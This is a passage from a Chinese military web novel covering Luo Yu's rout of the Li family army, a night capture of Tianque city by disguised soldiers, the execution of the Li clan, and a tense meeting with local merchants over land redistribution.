他想不明白,曹殇不是只爱银子吗?他收了李家的银子啊!他还从黄自灵的口中得知曹殇曾经拒绝了洛羽的招揽。
他为什么换上了洛字旗!
“为什么!到底为什么!”
暴雨拍打着李玄冰的脸颊,这位李家大公子已经陷入了癫狂,更多的是慌乱。
“公子,怎么办啊!”
随行家将的脸也吓白了:“三支骑军,我们,我们只怕挡不住啊。”
全军上下都弥漫着一股恐慌的气氛,上万骑兵同时冲锋的场面实在骇人,一旦步卒大阵被撞破,等待他们的注定是一场屠杀。
“拼了!”
“想灭了我李家,他们也别想好过!大不了鱼死网破!”
李玄冰怒目圆睁,怒吼出声:
“全军迎战!”
“杀!”
李家副将强行稳住慌乱的心神,开始下达一道道军令:
“骑军向前!迎战苍岐主力!”
“步卒三面列阵!准备迎战!”
“轰!”
毕竟是李家最后的精锐,虽说恐慌和不安在军中迅速蔓延,但军阵还算齐整。
被打残了的骑兵咬着牙冲了出去,人人面色慌慌,他们很清楚骑兵交锋是没有退路的,逃跑只会迎来更惨的失败。
步卒拎着长枪盾牌摆出拒马阵型,前排悍卒用半边肩膀死死抵住铁盾,弓弩手拼了命的放箭想要迟滞骑军的冲锋速度。一万多步卒分成三面列阵,大多数兵力都集中在了正前方,因为这里的敌人最强。
“轰隆隆!”
但不管军中将校如何努力地维持阵型,都挡不住心中涌现的恐惧与慌乱。这不是五百骑一千骑,而是上万骑!
震天回荡的马蹄声已经盖过了惊雷,轰鸣于天地之间。
“砰砰砰!”
“噗嗤噗嗤!”
“杀!”
双方主力骑兵再度凿阵,呼喝声不绝于耳。但局面已经大不如前,前面两次李家军还能勉强与洛家军斗一斗,可现在大军被围,己方骑军又在两次凿阵中伤亡惨重,现在一接触便陷入了颓势,伤亡急剧增加。
左右两路的曹殇与陆铁山则直接进攻拒马阵,漫天大雨溅起的泥浆成了骑军最好的掩护,在步卒看来敌军的战马一眼都望不到头,声势骇人。
三路骑军合围李家军,一场大战就此拉开帷幕。
最先崩溃的不是拒马阵,而是那支已经鏖战许久的八千骑卒。
随着领军主将被洛羽一枪捅死,骑阵终于崩溃,仅剩的佣兵再也没胆子参战,四散而逃,紧跟着数千李家骑兵也在黑甲铁骑的一轮轮冲击下死伤惨重。
打垮敌骑之后洛家军并没有停止进攻的步伐,而是直接开始向中央大阵发动冲锋。处于骑阵最前排的已经换成了蒙虎。
“全军戒备,准备迎战!”
“盾牌手顶住,不要乱,都不要乱!”
面对一排排长枪拒马,蒙虎满脸狰狞,随手抹去脸上混着鲜血的雨珠,纵马狂奔:
“你虎爷爷来了!”
“喝!”
只见他猛地一扯缰绳,战马腾空而起,狠狠往前一踏。
“噗嗤!”
强悍的冲击力直接踏碎了蹄下盾牌,盾牌背后的步卒更是当场被踩死。周遭的敌军见势不妙纷纷挺枪刺来,四五杆长枪在半空中捅向蒙虎。
“喝!”
蒙虎浑然不惧,长枪一扫就将几人的攻势挡开,然后猛地向前一冲,长枪挑着一名敌军的尸体高高抛向空中,砸倒一片。
李家牙兵全都傻眼了,能将一两百斤重的身躯挑飞这么远,这是何等强劲的臂力啊。
蒙虎持枪怒吼:
“杀!”
“砰砰砰!”
“噗嗤噗嗤!”
麾下一千五百骑怒吼出声,学着蒙虎的样子撞阵而入,人人面色悍然,什么长枪盾牌,什么弯刀凛凛,全然不惧。
唯有死命向前!
当正前方的拒马阵轰然告破的一刹那,李玄冰的心彻底跌落谷底:
“完了。”
……
凤川城头
徐松站在一座角楼里注目远眺,雨淅淅沥沥地下着,整片天地都被雨水笼罩。
“出什么事了!”
黄自灵突然急吼吼地闯了进来,急声道:“我听说除了饮马镇的骑兵,还有一支队伍从城外过去了?”
“是的。”
“奇了怪了,整个阙州的精锐全集中在苍岐城外了啊,从哪儿冒出这么一支骑兵?”
黄自灵眉头紧皱,来回踱步:“不行,我得立刻派人去给大公子报信,免得出什么意外。”
“不必了。”
徐松微微一笑:“我知道是谁的兵马。”
“你知道?谁?”
“云阳关,陆铁山陆老将军的兵马。”
“陆铁山?”
黄自灵眼眶一突:“此人为何会率兵深入内地?他与李家颇有嫌隙啊,坏事了,该不会是洛羽请来的帮手吧!
不行,咱们得立刻出兵前往苍岐,总感觉要出事。”
“你猜对了,确实是苍岐的援兵。”
徐松的嘴角勾起一抹诡异的弧度:
“不过此刻出兵也来不及了,算算时间,李家大概已经战败了吧。”
“战,战败了?”
黄自灵猛地一颤,恍惚间有些失神,徐松如此淡然、诡异的表情瞬间让他想到了什么,下意识地伸出手:
“你,你是诈降?”
“怎么,黄将军不也是诈降吗?”
短短的一句反问让黄自灵怒火中烧,气得破口大骂:
“混账,你竟敢骗我,老子要……”
“噗嗤!”
“啊!”
狠话才说到一半,徐松的手中就多出一把匕首,狠狠插进了黄自灵的手腕,一刀将其钉在墙板上,凄惨的哀嚎声瞬间回荡在雨幕中。
剧痛令黄自灵的表情极度扭曲,哆哆嗦嗦地骂道:
“你,你这个卑鄙小人!”
“来人,来人!给我杀了他!”
“快给我杀了他!”
可惜,屋外没有人冲进来,黄自灵那些亲兵就像是从天地间蒸发了一般。
“你就别喊了,不会有人答应你的。”
一道略显消瘦的身形迈步而入,梅雪崖冷冷的看着他:
“陪你演一场戏罢了,还真以为凤川城是你说了算?”
徐松漫不经心地把玩着手中弯刀:“你带过来的一千五百人里面有不少李家的心腹死忠吧?这些人已经死了,剩下的普通军卒已经全部归降。
凤川城不姓李,始终姓洛!”
黄自灵呆若木鸡:
“你们,你们骗我!”
明白了,他全都明白了,从头到尾徐松都没有投靠李家,完全是在耍他,还有梅雪崖的破口大骂也是逢场作戏,整件事彻头彻尾都是骗局!
徐松十分鄙夷地摇了摇头:
“蠢货!还真以为洛将军看不出你们诈降的伎俩!”
“为什么,到底为什么?”
黄自灵茫然无比:“既然知道是诈降,一开始为何不杀了我?还故意将我留在身边,让我打探情报。”
徐松提起弯刀,轻轻贴在了他的脖颈处,冰凉的触感令黄自灵浑身颤抖。
“不获取你的信任,又怎能让李玄冰放心大胆地出兵苍岐呢?”
徐松反问了一句:
“韩朔韩将军率兵外出巡查,一直未归,按理说早该回来了,你有没有想过他去了哪里?”
“哪?”
徐松讥讽一笑:
“李家精锐倾巢而出,天阙城应该是一座空城了吧?”
黄自灵的瞳孔骤然一缩,下一刻刀锋便割开了他的咽喉。
看着死尸倒地,徐松咧嘴一笑:
“这一场戏演得好累,不过梅大人的演技不错嘛。”
“徐兄同样不遑多让啊。”
“哈哈!”
第180章雨夜入天阙
天阙城
夜幕笼罩下的阙州首府安详无比,淅淅沥沥的雨声更是给人一种悠闲自在的舒适感。
夏雨落人间,家人团团圆,天底下还有什么事能比这种景象更惬意?但城内的老百姓总觉得有一股压抑的气氛笼罩在城头,似乎有什么大事要发生。
城门口的守卒少了许多,寥寥二三十人缩在门洞里避雨,长枪弯刀靠在墙角边,有一搭没一搭地闲聊着:
“雨下了整整一天,还有完没完了,待会儿出去巡逻还不得淋成落汤鸡?”
“谁让那么多人都被抽走了呢,守城门的就只剩两三百人,咱们一边要守门一边还要巡逻城内,就算爹娘多给我们生两条腿也不够用啊!真是倒霉。”
“行了,都别抱怨了,守城门已经是好差事了,难道你们还想被调走?”
资历最老的百户白了他们一眼:
“你们以为被调走的那些人是去吃席的?”
“头,赶紧跟咱们说说,前两天那么多兵马出城干嘛去了?”
此次李家的行动属于机密,绝大部分普通军卒都不知道是咋回事,但他们身为守城卒,是亲眼见到数万兵马出城的,这么大的阵仗,肯定有大仗要打!
“自然是打仗去了呗。”
“打仗?打谁?羌兵呢?”
“哪来的羌兵?”
百户翻了个白眼:“用自己的脑子好好想想,如今的阙州还有谁值得李家倾巢而出?”
“该不会是苍岐那位吧?”
“妈啊,不是刚停战吗,怎么又要打!上面那些官老爷们到底在想什么,洛家军能打得很,没事招惹他们干什么。”
“行了,这些事不是咱们能议论的。”
百户摆摆手:
“所以我说咱们走了狗屎运,能留下来守城门已经是天大的幸事,若是被派去苍岐,呵呵,能不能活着回来还不一定呢。”
众人只感觉后背一阵发凉,谁不知道洛家军骁勇善战,撞见他们就是一个死字。
“嘎吱嘎吱!”
夜幕中突然传出一阵车轴压过青石板的清脆声响,守卒们好奇抬头,发现有十几号民夫推着几辆平板车正在缓缓驶来。
“站住!”
百户撑着竹伞走了出去,眉头微皱:“干什么的?”
十几号汉子全都带着蓑笠,看不清面庞,为首一名面色黝黑的汉子站了出来:
“军爷,小的们是送货的,主家催得紧,只好赶路出城,求您行个方便,开下城门。”
“你在放什么狗臭屁,入了夜任何人都不得进出城门!”
百户瞪着眼:“从哪儿来回哪儿去,别惹老子发火!”
“若不是被主家逼得没办法,小的们哪敢来麻烦军爷您啊。”
汉子苦着脸,从怀里掏出一袋银子递了过去:“求军爷行个方便,这是小人孝敬您的。”
“呦呵,出手挺阔绰嘛。”
掂量着手中沉甸甸的银子,百户轻笑一声:“看来你们做的买卖挺挣钱啊。”
“小本生意,勉强糊口罢了。”
“呸!”
刚刚还笑脸盈盈的百户陡然翻脸,猛地拔刀架在了汉子的脖颈处,冷声道:
“大雨天的,老百姓巴不得待在家中足不出户,你们倒好,冒雨还要送货?肯定有问题!掀开篷布,让老子看看你们送的是什么货!”
百户异样的举动引来了其他军卒的注意,十几人全都拄着长枪站了起来,但只是有些疑惑,并没有人拿这群民夫当回事。笑话,这里可是阙州首府,谁敢在这里撒野?
汉子苦着脸道:
“军爷冤枉啊,咱们送的就是酒水,绝没有夹带私货,不信您自己看。”
“哼,我倒要看个清楚!”
百户瞪了他一眼,反手就扯掉了盖在车上的篷布,确实是满车的酒坛子。但酒坛子的缝隙中插着几把明晃晃的弯刀,几乎一眼可见。
百户的目光陡然一变:
“你们……”
“咔擦!”
刚刚转过身来,黑脸汉子就双手摁住他的脖颈,左右一拧,活生生扭断了他的脖子。
城门口处的守军全都傻眼了,哆哆嗦嗦地骂道:
“你们,你们是什么人,竟敢偷袭官军!吃了熊心豹子胆了!”
十几名民夫同时撕开了身上的布衣,露出一副轻薄的黑甲,为首的黑脸汉子抄起弯刀,冷笑一声:
“认识一下,我叫石敢,洛家军校尉!”
洛家军总计六营兵马,除了蒙虎、吕青云、余寒弓、霍连城、徐松之外,第六营的校尉一直由韩朔兼任,半个月前石敢从都尉升任校尉。
此人从第一次云阳关大战时就跟着洛羽,打了很多恶仗狠仗,凭军功一路升至步军都尉。他还有另外一个身份,玄岐军校第一批学员毕业考核的第一名!
谁也不知道此人是何时潜入天阙城的。
“洛,洛将军校尉?”
守卒的表情瞬间变得恐慌,别看就这么十几人,可洛家军的大名早已传遍整个阙州,说他们都是杀人不眨眼的恶魔。
“杀!”
石敢面色悍然,十几人同时挥刀健步向前,三下五除二就把守军杀得干干净净。
“嘎吱~”
厚重的城门在雨夜中轰然大开,数不清的披甲悍卒蜂拥而入,随着一声凄厉的敌袭,天阙城的寂静彻底被打破。
韩朔站在雨幕中面带微笑:
“还是将军和少游的脑子好使啊,如此坚固的一座天阙城,就这么轻而易举地拿下了。啧啧。”
……
“杀啊!”
“洛家军,洛家军进来了!”
“反击,快反击啊!”
怒吼声厮杀声回荡在夜空之中,短短半个时辰韩朔几乎就占领了整座城池。
放在以往,一千五百军卒绝无可能拿下天阙城,可今天不一样,天阙是一座空城,所有的李家精锐都跟着李玄冰出征了,仅剩的守军大多是老弱病残,一触即溃,被杀得溃不成军。
李松年急得在府中来回踱步,苍老的面庞上写满了恐慌:
“到底是怎么回事!洛家军为何会出现在城中!快派兵拦住他们啊!”
“都给我出去迎战!”
嘶吼声近在咫尺,李松年面色惨白,府中的管家护卫更是惶惶不安,谁也不敢出府,开玩笑,就凭他们这么几十个人还敢迎战洛家军?
“砰!”
厚重的府门突然被一脚踹开,大批军卒杀气腾腾地走了进来,刀锋上带着猩红的血迹。
韩朔狞笑一声:
“李大人,我找你很久了!”
“给我杀!”
几十名家丁眨眼间就被杀得干干净净,大步走来的韩朔吓得李松年腿都软了,尖叫出声:
“你想干什么!本官乃是朝廷圣旨加封的阙州持……”
“噗嗤!”
韩朔一拳头狠狠砸在了他的脸颊上:
“持你妈!”
第181章犯我苍岐者,死
大雨磅礴已经变成了小雨淅淅。
苍岐城外的战斗还在继续,但李家军已经全面溃败,溃兵漫山遍野的奔逃,凄厉的哀嚎声骇人心魄,残酷的场面令人不敢直视。
继七千洛家悍卒从正面撞开拒马阵之后,左右两翼的曹殇、陆铁山也相继破阵,近万骑兵在战场中横冲直撞,大杀四方。
以城头萧少游的令旗为号,骑兵来回突击,专门进攻李家防线的薄弱处,长枪所过之处尸横遍野,血流成河,一具具死尸栽倒在污水中,溅起的水花像是在敲响李家覆灭的丧钟。
“拦住他们,快!”
“保护公子!”
“给我杀!”
饮马镇的两千骑卒因为看不懂萧少游的号令,所以朝着中央大阵一路冲杀,接连好几道防线都被他们杀得稀碎,李家拼凑起来的牙兵要么四散而逃,要么被战马踏成了肉泥。
曹殇更是勇猛无比,一杆长枪横扫,三名盾牌便被其击飞到半空中,坐下马蹄狠狠一踏,几名敌军便胸骨尽碎,哀嚎着倒在血泊中。
这一幕看得李玄冰牙呲欲裂,破口大骂:
“曹殇!我是加了钱的!为何临阵叛变!”
“哈哈,谁让洛城主出的价更高呢!”
曹殇朗笑一声:“你不是说了吗,我曹殇爱银子爱女人,自然是谁出的价高我帮谁!”
“你,你浑蛋!卑鄙无耻!”
李玄冰除了痛骂别无他法:“言而无信,你还要不要脸!”
“别人有资格骂我言而无信,但李家没这个资格!”
曹殇满脸讥讽:“好似是你们先撕毁停战约定的吧?狗娘的杂碎!”
李玄冰被气得哑口无言,旋即正前方又传来一阵冷喝声:“李玄冰,今日就是你的死期!”
只见洛羽已经领兵冲杀至阵前,最后一道防线在亲兵营的冲击下岌岌可危,小伍与许韦两人大杀四方,浑身甲胄早已被鲜血染红,宛如一群从地狱里爬出来的恶魔。
即使守在这儿的是李家精锐,可面对如此凶悍的骑兵也吓得瑟瑟发抖,一部分军卒斗志尽丧,完全不管李玄冰的生死撒腿就跑。
“完了,全都完了。”
李玄冰面如死灰,放眼望去整座军阵已经溃不成军,辛辛苦苦拉出来的两万兵马在洛家铁骑的践踏下灰飞烟灭。
他本想着鱼死网破,即使大军溃败也要让洛家军损失惨重,但残酷的现实告诉他,李家军远不如洛家铁骑。
“公子,赶紧走吧!”
副将急头白脸地喊道:“末将先护着您杀出重围!”
“走又能走到哪儿去?”
李玄冰满脸苦涩,眼角处流下来的不知是泪水还是雨水:“这是家族积攒多年的家底,一朝尽丧,没了他们,李家也就不存在了。”
“那也总比死在这儿好!先逃回天阙城再说!”
副将顾不得许多了,大手一挥:
“来人,护着公子突围,我们撤!”
近百骑兵催动缰绳,护着李玄冰往山中密林一路冲杀,可近万骑兵将此地团团围住,岂是他们想逃又能逃走的?
从清晨开战,两军数万兵马一直厮杀到日暮黄昏,嘶吼声响彻云霄,终日不绝。
雨停了,战止了。
横七竖八的尸体躺倒在血泊中,冰冷而又凄惨,一队队骑兵在战场上四处游弋,搜捕着那些李家的溃兵。
洛羽并没有对其赶尽杀绝,他们毕竟是阙州同胞,大多数人跟着李家卖命只不过是为了混一口饭吃,待李家覆灭,这些人依旧是老实本分的阙州百姓。
两万兵马倾巢而出,一战全军覆没。
此战终将会震动陇西三州,意味着陇西三大世家要换人了。至于那位李家大公子自然没能逃掉,被小伍像拎小鸡一般丢在了洛羽面前:
“将军,这家伙还想逃,被咱们埋伏在外围的游弩手活捉了。”
洛羽、萧少游、曹殇、陆铁山一帮将军全都围着他,冷眼旁观。
亲眼目睹麾下亲兵被杀得干干净净,李玄冰的双眼中全是恐惧,瘫倒在血泊中瑟瑟发抖。远远地看着士兵战死和弯刀挥舞在自己的眼前那可是天壤之别,第一次直面死亡,让李玄冰这位大公子露出了怯懦的本性。
洛羽居高临下,嘴角戏谑:
“李公子,今天一早你不是还要踏平苍岐吗?现在呢?”
“我不甘心!”
李玄冰无比怨毒的盯着洛羽,咬牙切齿:
“我李家两万兵马倾巢而出,还提前一步占领了凤川,我为什么会输!我不甘心!”
直到现在李玄冰都想不通,为何曹殇无缘无故的反水,为何陆铁山的骑兵能够轻而易举的通过凤川城,按照常理,徐松和黄自灵两人已经将这支兵马拦下才对。
看似两支兵马只有三四千人,可三四千精骑足以改变整个战局。
“因为你蠢!”
洛羽摇了摇头:
“黄自灵是诈降吧?是你故意安插在我军内部的一颗钉子?”
李玄冰愕然:“你,你早就知道?”
洛羽开始解答李玄冰心中的疑惑:
“黄自灵是你李家的死忠,比起当初死在我手下的秦昭有过之而无不及。而且以你李玄冰的性格,怎么会把一个不受信任的人放在宁台县当副将?所谓的妹妹被你李家掳掠更是谎言,因为我查过他,根本就没有妹妹!
还有一个最大的疑点,那就是宁台县所有守卒都跟着黄自灵投降了,压根就说不通,这可是你李家的嫡系啊,怎么可能轻轻松松被一个外姓家将拉走。”
李玄冰心头一沉,没想到天衣无缝的诈降计却破绽百出。
洛羽竖起一根手指:
“从黄自灵诈降开始我就猜到你在下一盘大棋,宁台县对李家至关重要,你不可能拱手让人。我就在想你要干嘛,直到你请君家、王家来劝和停战我才明白,你是想拖延时间!
因为我洛家军的进攻速度太快,令你始料未及,光靠你手中的兵马已经无法与我们抗衡,你只能先拖延时间,找机会调集兵力。
定州并州的佣兵,还有饮马镇的曹殇就是你选中的对象,清一色的骑兵,你妄想用他们消耗洛家军的有生战力。所以我派人去联系了陆老将军,他是我唯一能想到的援手了。”
陆铁山板着一张脸,冷冷说道:
“李家在阙州为非作歹这么多年,今日之局那是你们咎由自取,怨不得别人。”
其实从云阳关一战结束之后洛羽就在暗中给陆铁山输送战马和一些得力将校,帮助他在云阳关组建一支精锐,好抗击羌人,也就是说陆铁山带来的一千五百人中,中坚将校全是洛羽的人。
“那曹殇呢?”
李玄冰心有不甘地问道:
“曹殇不是你安排的后手?”
李玄冰为了请出曹殇可是下了大价钱的,他不明白苍岐得付出多大的代价才能让曹殇反水。
洛羽摇了摇头:
“其实我只写了一封信给他。”
“信?”
李玄冰茫然,什么样的一封信能让曹殇视几万两白银于无物?
曹殇面无表情:
“洛兄问我,是想一直当曹贼,还是想当万人敬仰的曹将军。”
李玄冰更加茫然了,因为这句话并不能让他的情绪产生任何波动。
“我知道你听不懂。”
曹殇讥讽一笑:
“我是阙州人,深知这么多年来阙州百姓生活在何等的水深火热之中,而这一切的罪魁祸首就是你李家!
以前我当佣兵,横行四方,为了银子杀人如麻,那是因为我没办法!这个世道想要活下去只能如此。
但现在不一样了,洛将军能让所有百姓体体面面的活着,能让所有人吃饱穿暖,我为何还要为了银子杀人?我要成为将军,要带着兄弟们征战边关,我要让所有羌贼知道,我阙州男儿都有一副铮铮铁骨!而不是像你李家这样的败类!”
李玄冰目光怔怔,确实,他听不懂,但他知道自己死定了。
“再跟你讲最后一件事。”
洛羽微微一笑:
“你知道我为什么看穿你这的手段,还放任你一步步走到今天吗?因为天阙城城高墙坚,强行攻城的伤亡太大。倒不如我将计就计,表面同意你的议和条件,实则是为了让你带着李家兵马出城。
大军一旦出了城,在我眼里就如同土鸡瓦狗!
而且双方停战之后,我就秘密遣人伪装成百姓,混入了天阙城,就等着你率军出城之后里应外合拿下天阙!
要不了一夜,天阙城就会插上洛字军旗。”
“你,你……”
“噗嗤!”
李玄冰呆若木鸡,没想到自己的辛苦谋划竟然从头到尾都被洛羽猜中了,还将计就计,拿下了天阙城。
急火攻心之下一口鲜血猛地喷了出来,像一条死狗瘫软在地,绝望又不甘地摇着头:
“我恨,我恨啊,你们这些蝼蚁!我竟然输给了你们这群蝼蚁!”
“在你眼里,我是蝼蚁,曹兄是蝼蚁,乃至云阳关战死的将士都是蝼蚁,但在我眼里,他们都是阙州百姓,都是活生生的人,他们不该白白去死!”
洛羽的表情逐渐狰狞,手中苍刀缓缓举起:
“该死的是你!”
“今日就用你的人头,祭奠我苍岐战死的英灵!祭奠阙州无数冤死的百姓!”
“喝!”
“噗嗤!”
刀锋滑落,曾经名震一时的李家大公子成了一具无头死尸。
洛羽持刀而立,傲视全场,一面沾满了血迹的洛字军旗迎风而立。
“轰!”
所有将士整齐拔刀,斜举冲天。
洛羽策马扬鞭,朗声怒喝:
“犯我苍岐者!”
“死!”
第182章入主天阙
暴雨之后便是晴空万丈,就连大地间的燥热都被那阵狂风一扫而空。
天阙城头尽悬洛字玄旗,城门外长枪林立,一排排披甲悍卒昂首挺胸,目光中杀气凛然,威武不凡。
远处的官道上正有一支大军缓缓行来,旌旗蔽野,黑甲茫茫,宛如长龙般的行军队列一眼望不到尽头。
韩朔朗声怒喝:
“擂鼓!”
“迎大军入城!”
“咚咚咚!”
三声鼓响回荡,满城震动。
百姓们扶老携幼、拖家带口地在道路两旁观望,心中充满了忐忑但又带着些许希冀。本来他们以为洛家军攻占天阙城会引起骚动,谁知整座城池安静如初,洛家军卒与百姓之间秋毫无犯,别说打家劫舍了,就连入室骚扰的都没有。
整个阙州都知道苍岐与凤川两地蒸蒸日上,老百姓衣食无忧,生活日渐富足。他们不想过上这样的日子们?他们也想!
数不清的黑甲军卒令他们心潮涌动,阙州这么多年来,头一次见到如此雄壮的军队。
当洛羽策马入城的那一刻,全军上下高声怒喝:
“参见将军!”
“轰!”
铁拳砸于胸甲之上,令满城百姓心头一颤,不自觉地便有一股豪情尤然心生。瞧瞧,多么壮阔的军威啊,这才像他们阙州的男儿,李家?什么狗屁李家!欺压良善的奸臣罢了。
大军主力驻扎城外,只有少数精锐入城,众将领一道来到了持节令的府邸,这里本该是阙州的权利中心,如今满地狼藉,地板上尚有未洗刷掉的血迹。
院中摆满了一口口木箱,装满了各种金银玉器、奇珍异宝,这都是韩朔从李家抄出来的东西,随便拿出一样便足够寻常百姓吃喝一辈子。
“还真是富丽堂皇,家财万贯啊。”
梅雪崖冷声道:“自从李松年成了持节令之后,阙州百姓的生活日渐困苦,境内流民四起,盗贼横生。富了一个李家,却苦了数以万计的百姓。
什么父母官,尸位素餐的贼子罢了!”
“这种日子一去不复返了,以后我们要让阙州所有百姓都过上安生日子,有饭可吃、有衣可穿。此战之后,李家就成了过去。”
洛羽笑呵呵看向曹殇与陆铁山:
“此战多亏二位相助了,不然苍岐只怕要陷入危局。”
本来是随便的一句谢,哪知道曹殇与陆铁山对视一眼后齐刷刷地跪了下来:
“末将参见主公!”
“这是做什么,两位快快请起!”
洛羽愣了一下,手忙脚乱地去拉两人,但两人纹丝不动。
陆铁山沉声道:
“老夫比在场的诸位都要年长,我比你们更知道阙州百姓的疾苦,这些年阙州被李家祸害,百姓都生活在水深火热之中,我早就想改变这一切。
可惜老夫心有余而力不足,没那份本事,但洛将军有!
云阳关一战,老夫便知道洛将军会是拯救阙州的那个人,你与李家的斗争一定会是以你的胜利而告终。阙州百姓需要你,唯有你才能让他们活得有尊严!
所以从今以后,末将就认洛将军为主了!”
“我也是!”
曹殇的表情前所未有的凝重:
“以后再无饮马镇佣兵,我就跟在你手下带兵打仗,李家的几万两银子我可看不上眼,我想当个大将军!
这是洛将军答应过我的,千万不能赖皮!”
别看曹殇一本正经,可说出来的话却引来了满场哄笑,如此性格当真是耿直啊。
“好!那以后就是自己人了!”
洛羽欣然同意,扶起两人认真地说道:
“那就让我们一起努力,让阙州,让陇西变得更好!”
众人欣慰一笑,彼此心中又多了一个共同的目标,让家园变得更好!
“当然了,此战的头功还得谢谢咱们的大功臣!”
洛羽一把拽过萧少游:
“若是没有他的缜密部署,咱们哪能如此轻易就入主天阙城。”
从头到尾的全盘谋划都是萧少游在身边出主意,两军厮杀时其他人都在冲锋陷阵,唯有他坐镇城头,指挥全军,一场酣畅淋漓的大胜让萧少游证明了自己的能力。
统筹全局,运筹帷幄于帐中!
洛羽手下的骄兵悍将数不胜数,但论排兵布阵,决胜疆场,当以萧少游居首!
“哪里哪里。”
萧少游嬉笑着摆摆手:“区区小计罢了,不足道哉。”
“看到了吗,咱们的萧将军还嘚瑟起来了。”
“哎啊,人就是不禁夸啊。”
“哈哈哈!”
又是满场哄笑,笑声落下之后韩朔轻声问道:
“李松年怎么处置?这老东西还被我关在牢里呢,李家族人也全都被我抓了。”
众人这才想起来还有一个李松年没收拾,怎么说他也是朝廷加封的阙州持节令,现在李家没了,那李松年杀不杀?
“当然是杀!不杀不足以平民愤!”
洛羽的眼眸中闪过一道寒光:
“欺压百姓、藐视国法、掳掠幼女、逼良为娼,犯下如此恶行难道还放了他?将李家众人还有那些狗腿子全部问斩,悬首城门三日,以平息百姓心中的怒火!”
“诺!”
“现在咱们集中精力去做三件事。”
洛羽竖起三根手指说道:
“第一:李家虽灭,但还有少数城池没被攻克,接下来各营整顿兵马,出兵征伐,荡清各地的李家余孽,将阙州牢牢握在手里。
第二:梅雪崖与陆怀舟负责安抚境内民夫,往各城派遣官吏,尽快恢复吏治,打土豪分田地、提振商业、兴办学堂等各种举措要立刻推动。
还有,严查城内所有青楼,尤其是李家的那些产业统统关闭,只要是被强掳来的女子全都释放,让他们与家人团聚。
咱们取代了李家就得让老百姓认可我们,一定要将民心民意放在第一位。
第三:边关一直有传言,西羌正在动员大军,要对陇西开战,请陆老将军即刻起程返回云阳关,先稳住边防,再看下一步羌人如何行动。”
“诺!”
陆铁山沉声道:“那老夫就先行一步返回边关,羌兵稍有异动我会立刻派人来报。”
“去吧,我在内地也会整军备战。”
洛羽目光凝重:
“我有一种预感,陇西边关将会有一场惊天大战!”
……
景丰十年夏,洛李两家决战于苍岐城外,洛家军大获全胜,入主天阙城。
定边将军洛羽上奏朝廷,痛诉李家十宗罪,宗宗当诛。
李家满门上下五百余口,皆斩!
第183章给你们一条活路
接下来的大半个月阙州陷入了动荡,洛家军四处出击,横扫李家余孽,几乎每一城都是望风而降,兵不血刃就攻占了阙州全境。
对于那些曾经为非作歹的李家人,统统杀了了事,至于那些附庸、城主视其平日的所作所为来决定是杀是留,总之作恶多端的一律杀无赦,引来民间百姓纷纷喝彩。寻常军卒几乎都网开一面,只要诚心归降的便可回乡务农,青壮可继续当兵。
相比于一切顺利的战场,官场方面倒是遇到了不小的主力。
因为梅雪崖与陆怀舟两人在全境展开打土豪分田地,这对百姓流民来说是天大的好事,但对那些地主富商来说可是晴天霹雳啊,以前就听传言说洛家军会抄没所有家产,平分给老百姓,富人统统得掉脑袋,这下洛家军占领了全境那还了得?
已经有不少商贾开始抛售家产,拖家带口准备逃离阙州,境内一片人心惶惶之景。
可还没等他们跑路,就被洛羽一纸军令请到了天阙城。
持节令府邸
十几位阙州境内最富裕的商贾、地主战战兢兢的坐着,曾经的持节令满门上下都变成了死尸,他们这些小小商贾哪敢在洛羽面前放肆?低着个头不敢看洛羽一眼。
“来人啊,给诸位掌柜的看茶!”
几名下人端着茶水走了进来,一人手边放了一杯,一众掌柜的瞄了一眼茶碗,愣是每一人动弹。
“喝啊,怎么不喝?”
洛羽嘴角微翘:
“看来是本将军的茶入不了诸位的法眼啊。”
“没有没有。”
这群人哆嗦了一下,接二连三的捧起茶碗一饮而尽,露出一抹很是享受的表情:
“唔,好茶!当属天下一绝,味道甘甜无比!”
“对对,端的是好茶,入口回味无穷,洛将军的茶叶绝对是极品。”
屋内夸赞声不绝,就像是真的喝到了绝世好茶,但实际上只不过是阙州最普通的山茶罢了。
洛羽笑了笑:
“茶喝完了,接下来咱们该聊聊正事了。本将军听说你们各家都在抛售家产,准备举家迁徙?
怎么,本将军就那么可怕吗?还是说你们和李家的关系太好了,看不惯本将军入主天阙城?”
“不不不,小的们不敢!”
“李松年卑鄙无耻,祸害百姓,咱们痛心疾首,恨不得生食其肉。”
“那就奇了怪了,怎么一个个的都不敢在阙州待了?”
众人面面相觑,谁也不敢吱声。
洛羽缓缓竖起一根手指:
“今日你们可以畅所欲言,本将军不会**的,但如果错过这次机会,想活命都难啊。”
众人嘴角一抽抽,个个面露慌乱,总算有个胆子大的中年男子站了出来:
“草民是阙州粮商陈正,既然洛将军发问,草民就斗胆直言了。”
“但讲无妨。”
洛羽瞄了此人一眼,他知道这个人,阙州境内最大的粮商,以前苍岐还通过听雨楼的关系从他手里买过不少粮草。
陈正满脸苦涩,小心翼翼的说道:
“听说梅大人、陆大人正在全境推行打土豪、分田地,要将所有富商地主的田地分给普通百姓,违令者杀无赦。
我等商贾辛辛苦苦打拼了一辈子才挣下这么大一份家当,很多田产地产都是祖祖辈辈传下来的,莫名其妙就要分给寻常百姓,草民等实在是想不通。
迁徙出境,实乃无奈之举,还望洛将军网开一面,饶我等一命!我等只想保条活命,留些许家产养家糊口。”
“请洛将军饶命啊!”
有了陈正带头,在场商贾呼啦啦全跪了下来,跪地求饶。
“把头都抬起来!”
洛羽目光冰寒,一一扫过众人的眼眸:
“这么说你们的每一分家产都是辛苦打拼来的?每一亩地都是用银子买回来的?从未做出过任何欺压百姓、巧取豪夺之举?”
全都愣住了,个个不敢吱声,如此巨量的财富怎么可能是老老实实挣回来的,多少会有些阴狠手段。
“不敢答话了?心虚了?”
洛羽背着手站了起来:
“你们富了,有没有想过那些贫民百姓?很多人凄惨到无家可归,饿死街头。夺你们的家产你们觉得是要了自己的命,但你们侵吞他人田地的时候有没有想过在要他们的命,在把老百姓往死路上逼!”
一声冷喝让所有人都低下了头,战战兢兢,满脸羞红。
“你们几家干过什么事,做过什么恶我清清楚楚,要不要我给你们念念?”
洛羽的手中多出了一沓信纸,那是梅雪崖明察暗访搜集来的情报,可以说在场的这些商贾都做过些许恶事,只不过比起李家好了许多。
“洛将军饶命,饶命啊!”
一个个不停地磕头,胆子都快被吓破了。
“今日我找你们来不是要杀你们,而是要跟你们讲讲清楚。”
洛羽神色平静的说道:
“都是阙州人,本将军也不想
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赶尽杀绝,想必你们也不愿意背井离乡,去做一个孤魂野鬼吧?
